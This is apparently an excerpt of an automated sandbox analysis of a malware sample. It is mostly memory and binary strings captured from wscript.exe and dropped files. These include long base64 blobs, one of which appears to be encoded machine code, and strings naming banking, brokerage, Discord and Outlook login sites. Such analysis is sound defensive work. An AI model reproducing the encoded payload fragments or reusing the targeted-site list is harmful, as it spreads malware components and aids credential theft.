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
Source: G1Y9-55.9.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696494690
Source: G1Y9-55.9.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696494690\|UE
Source: G1Y9-55.9.dr	Binary or memory string: discord.comVMware20,11696494690f
Source: G1Y9-55.9.dr	Binary or memory string: outlook.office.comVMware20,11696494690s
Source: G1Y9-55.9.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696494690
Source: G1Y9-55.9.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696494690n
Source: wscript.exe, 00000001.00000003.1555197192.0000026A01517000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1554850561.0000026A01517000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 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
Source: wscript.exe, 00000001.00000003.1555197192.0000026A01517000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1555374157.0000026A0160F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1554850561.0000026A01517000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 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
Source: wscript.exe, 00000001.00000003.1676109092.0000026A7FC81000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 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
Source: G1Y9-55.9.dr	Binary or memory string: outlook.office365.comVMware20,11696494690t
Source: wscript.exe, 00000001.00000003.1678190595.0000026A7FD86000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 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
Source: XG4tzkOqVF.exe, 0000000C.00000002.2792017080.0000000000E59000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllg
Source: wscript.exe, 00000001.00000003.1555197192.0000026A01517000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1555374157.0000026A0160F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1554850561.0000026A01517000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 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
Source: G1Y9-55.9.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696494690}
Source: wscript.exe, 00000001.00000003.1676109092.0000026A7FC81000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: glnofZYR1UTkqCUnqS3KeLRhz1hqBhr8OWLCtBtKkZB9tO7x9IPV2y+QJ56L0wTJj5+t8JdLBzX/foKgwJgpGo6kD9lheThqaUJHTzHKOZCqqgQm3g5DS3yH2TsX0NyQSf9fX/T1tC0OgdoNZGqYvN0H0uxI/wPA/PDcO1z2A7+UUkWDyW45+oo/L11ujsxk0sgxcjcVCdopuNkIj5mQ6e70U8uflUkLZoTv3smLOx+d6S5rIx/irw+G13u7upcMyt2TFuxZt61LaDYaBGtw7MK4Iw1a7y0yBxRdoeDCCrMC/gTB7oMfZhvq9K9W1lw/vbg9S3cHmql5uFBh0dW44oVnYEkaJjXlPeSIxUfvVVRgxpSjSqW9uHXlRBOuPC+i65vzaZ0WRblQA2+YYXO1FUWS1JNp2mepuuLV+yCMm/fmMPIZIkbPtnFgWP2aqUQeyBzhKC3/z7HIWxpjb2/XRO7AgKiWKG/gZorF3REwJvQFEKJVpoumE9A7jzoH6v+l+O8Zj6SPpNAc08k+dFOp5Epet9rMgwiLA19ahKogRNmnqfF6zENwwsb4gYeatwtemnk/oXCKJHaqZND8rXB0DCGpgGebbmWzhRXOSxCZykGFfIfnIsWhf16ZGiJvyn83AZmLyQNdy0kW9SXwfAKknAT8orv09XF1ygZTs4Tm9wMWe9bCFfP3jLojTAQUiOUrEE2Jhiz9Bg4mpeg1dIb7NcICw60TaLMybCXioNCSOJbATCipbR3+/Qirje27D8nbkP2zU+znFgLG7dQ5MgJt5SNHmcCFT65BY97BnDWMfSfvHLElS0j91WspNrYu2iWAVX/TTDnRxp3Q8VSF2ledre/eBabI5xqrZJLXDv/X5JVj3WytLAoCXZg+Lna29YiiJHyn7EHZ84LCbmkZGI+0d+Qfum78JZS8TtmLpP0RYVbY8uvElpaLkfXKC4XvSQAu4PjfuhgFSRkodye83PoeLXhcmeNyuRbIGNlurCpp4pg2Jxb+xvIBeWOw8H1s00dMuSnAx8esq/1Pd/2ENydAh1qtSTK/v69KpY/442fichYvkpiSKsPZ8eFRvi39GYimcLAyQlfTAw1CZuqelkZ/birW8J2Wd8DuRUBmW4mjaZfZed08kb6zdtefq7HFQ4c6JciAPYw/hwtBTgfBOil9U7B1vIBvQR/polz6z0+1/EG7HosqhCpOqobQitnW9dK8x5w/d53d6fmpbOv13/g8nSs1ohsSvdRLLqIJJXPn1HouJBOrF7dnz81Qu8PLOiahSVSNIjpBXg+YJIW8tU+6JHlxcDTydOQUEZH/mlBuYRh+46bMvlJ3z0m+mhyyeqnETotQcoXgKmQhFI0qKzVpPZ9OoNNqfSI8oMRlHjXuptpuX4O1pA9FrKnxRTXIxdb5a1rKCexb/gdxVws7zu3X8ewKZpwiSKTl/m8v+8BTdTZGOJQ3J